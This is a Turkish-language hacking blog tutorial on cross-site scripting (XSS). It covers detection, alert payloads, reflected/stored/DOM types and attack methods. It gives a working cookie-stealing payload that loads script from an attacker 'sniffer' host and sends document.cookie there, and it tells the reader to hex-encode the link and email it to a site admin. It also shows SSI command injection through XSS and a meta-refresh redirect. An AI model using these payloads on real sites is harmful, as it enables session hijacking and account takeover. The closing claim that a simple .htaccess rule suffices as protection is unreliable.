XSS Açıgı En Kapsamlı Anlatım!

Xss genis anlatim xss en iyi anlatim xss açıkları
Merhaba Arkadaşlar,

Bugün konumuz XSS.
XSS Açıgını Genis Bir Şekilde Ele Alıcaz.

İçerigimiz;
-XSS Nedir Nasıl Oluşur.
-XSS Açıgı Tespit Etmek.
-XSS Alert Kodları.
-XSS Acıgı Türleri.
-XSS Saldırı Şekilleri.
-XSS Korunma Yolları.



Hemen Konumuza Başlayalım

-XSS Nedir Nasıl Oluşur?

Öncelikle XSS Sitelerin Arama Yorum vb. Text kutularinda bulunan bir açıktır.
Html kod yazım özelliginin açık unutulmasından meydana gelir.
XSS çok tehlikeli olmayan bir açıktır. Günümüzde çok rastlanır ama pek az kullanılır.

-XSS Açıgı Tespit Etmek?

XSS Açıgını tespit etmek için text kutucuguna bir Html kodu yazmalıyız biz buna alert koduda diyebiliriz.Örnek olarak Alert Kodu "<script>alert.(yildiz)</script>" Enterladıgımızda tarayıcı ekranımıza açılır pencerede "yildiz" yazısı görünecektir.
Böylelikle Sitemizde XSS açıgı oldugunu tespit etmiş olduk.

Simdi XSS Açıgını linkimize bakarakta anlayabiliriz.XSS açıkları genelde GET methodlarında olur GET methodu id=12 gibi sayilardan olusan linklerdir.SQL açiklarida bu linklerde bulunur sqlmap bazen url tararken "xss vuln detected" tarzinda yazabilir dikkat ederseniz xssleri oradanda kesfedebilirsiniz.
Örnek olarak
örneksite:com/search.php?id=26363
sitemizin sonundaki sayı deverini silelim "id=" kısmından sonrasına "<script>alert.(yildiz)</script>" alert kodumuzu yazalım yine hatamızı verecektir. :)

-XSS Alert Kodları!

Bazı Alert Kodları

')alert('xss');
;alert('xss');
<script>alert(123)</script>
<script type=text/javascript>alert("tht")</script> <script>alert("tht");</script>
<script>alert("tht"/)</script>
<script>var deger=1;alert("tht")</script>

-XSS Açıgı Türleri?

-Reflected XSS: Bu saldırı tipi açıklık bulunan sitede uygun alanlara yazılan javascript kodlarının çalıştırılması ile olur.Burada sadece saldırı yapan kişi etkiyi görebilir ziyaretçilere etki edemez. Peki bunu nasıl atak haline getireceğiz. Burada sosyal mühendislik becerisi devreye giriyor. Email kullanarak hedeflere oluşturduğunuz zararlı linki bir şekilde tıklattırmanız ve kendi sunucunuza yönlendirmeniz gerekiyor. Burada saldırgan sizin sitede mevcut olan cookie bilgilerinizi çalabilir.

Stored XSS: Bu saldırı tipi reflected xss saldırısına göre daha çok tehlikelidir. Saldırgan açıklık bulduğu alana zararlı javascript kodlarını ekleyerek veritabanına kaydeder. Veritabanına kaydedilen veriler siteyi ziyaret eden herkese etki eder. Saldırganın koduna göre ziyaretçi etkilenme alanı değişir.

DOM XSS Saldırısı: DOM XSS saldırısı en tehlikeli XSS saldırı türüdür. JavaScript kodlarının zararlı bir şekilde kullanılması ile yapılır. Bu saldırı türünde kullanılan DOM nesneleri ile hedef web sitesinin index’i değiştirilebilir, sayfanın kodları ile oynanabilir, virüs, trojan gibi zararlı kodlar sayfaya entegre edilebilir. Sitede gezinirken sizi başka sayfaya yönlendirebilir.ISS kodlarıyla tehlikeli saldırılar yapılabilir.

-XSS Saldırı Şekilleri?

-Cookie Çalma!

İlk olarak Cookie Çalma Olayını anlatalım.
Cookie Çalmak ne isimize yarar cookie yani çerezler adminin login oldugu zaman tarayicilarin arkaplana kaydettigi beni hatırla tusuna tıkladıgında olusan sifrelerde bizde bunları çalarak admin id ve passwordumuzu ele
geçirmiş olucaz.

Peki cookie yi nasıl çalarız?

Açıklı parametre GET(id=1 gibi) metodu ile alınıyorsa;
http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>
Burada "a" sayfası kendi hazırladığımızjavascripttir. Kullandığım snifferdan örnek verecek olursam şuna benzer bi kod barındırır;
i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'+document.cookie+'  '+document.location

Burada javascript kodu üzerinden bir image nesnesi oluşturulur ve
http://sniffersitemiz.com/log.php?'+document.cookie+'  '+document.location
verileri img src edilir.
log.php sayfamızda ise dışarıdan gelen değerleri loglarız.
Bu sayede document.cookie ve document.location değerlerini loglamış oluruz.

<script src=http://sniffersitemiz.com/a></script> yerine
<script>i=new/**/Image();i.src=http://sniffersitemiz.com/log.php?'%2bdocument.cookie%2b'  '+document.location</script>
kodunu da kullanabilirdik, burada amaç karmaşıklığı azaltmak ve mümkün olduğunca özel karakter kullanmamak.

Sonrasinda admine XSS inject edilmis linkimizi yedirmeliyiz ama tabi adama "http://site.com/index.php?ara=<script src=http://sniffersitemiz.com/a></script>" şu şekil link atarsak yemez bizde "ara=" degerinden sonraki kısmı hexlemeliyiz bu şekilde mail yoluyla yolladıgımızda yeme ihtimali daha yüksek olur.

-SSI Kodlarıyla Saldırı!

SSI (server side include) shtml sayfaların çalışma mantığıdır. Sayfa html olsa bile yorum satırı arasına yazılan komutlar client side değil, server side olarak çalıştırılır.
Örnek kullanım şekli şudur;
<!--#echo var="DATE_LOCAL"-->
örneğin yukarıdaki satır bir .shtml sayfada bulunursa; veya sayfa shtml olmasa, php,asp,aspx ve hatta html olsa bile web application serverda SSI ayarları açıksa, ekranasistem tarih saatini basacaktır.

Bu özelliği xss ile kombo çekersek sistemde komut çalıştırmamız mümkün olur.
örneğin;
http://site.com/index.php?ara=xss
açığımız olsun
http://site.com/index.php?ara=<!--#echo var="DATE_LOCAL"-->

gönderdiğimizde sayfada tarihi görüyorsak SSI komutları çalıştırabiliriz demektir.
SSI komutlarına aşağıda detaylı bi şekilde erişebilirsiniz;
http://www.w3.org/Jigsaw/Doc/User/SSI.html


Yav kardesim ben saatlerce bunlarlamı ugraşıcam diyorsanız benim favori saldırım.


<meta http-equiv="refresh" content="0;URL=http://www.yildizhek.com">

:)

-XSS Korunma Yolları!

Bu açığı kapatmak için pek çok alternatif mevcut ama ".htaccess" dosyasının yapılandırılması yeterli olacaktır. Aşağıdaki kodları sitenizin kök dizininde bulunan veya sayfalarınızın bulunduğu dizindeki ".htaccess" dosyasına ekleyin. Böylece sitenize yapılan herhangi bir XSS saldırısında siteniz hata sayfası vererek erişimi kesecektir.

RewriteEngine On
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]

XSS Anlatan En Kapsamlı Konu Oldugunu Düşünüyorum arkadaslar siz öyle düsünmüyor veya konuda bir eksik görüyorsanız yorum olarak yazarsanız ekleyebilirim.

Okudugunuz için teşekkürler Emege Saygı olarak bir teşekkür yeter :)

Google Plus ile Paylaş

Kısaca: YıldızHan

Bilgisayara Aşırı Meraklı Hacking,Webmaster,Grafik Tasarım Konularında Uzmanlaşmış Egolu Bir Kardeşiniz.

2 yorum:

Düşüncelerinizi Bizimlede Paylaşirmisiniz?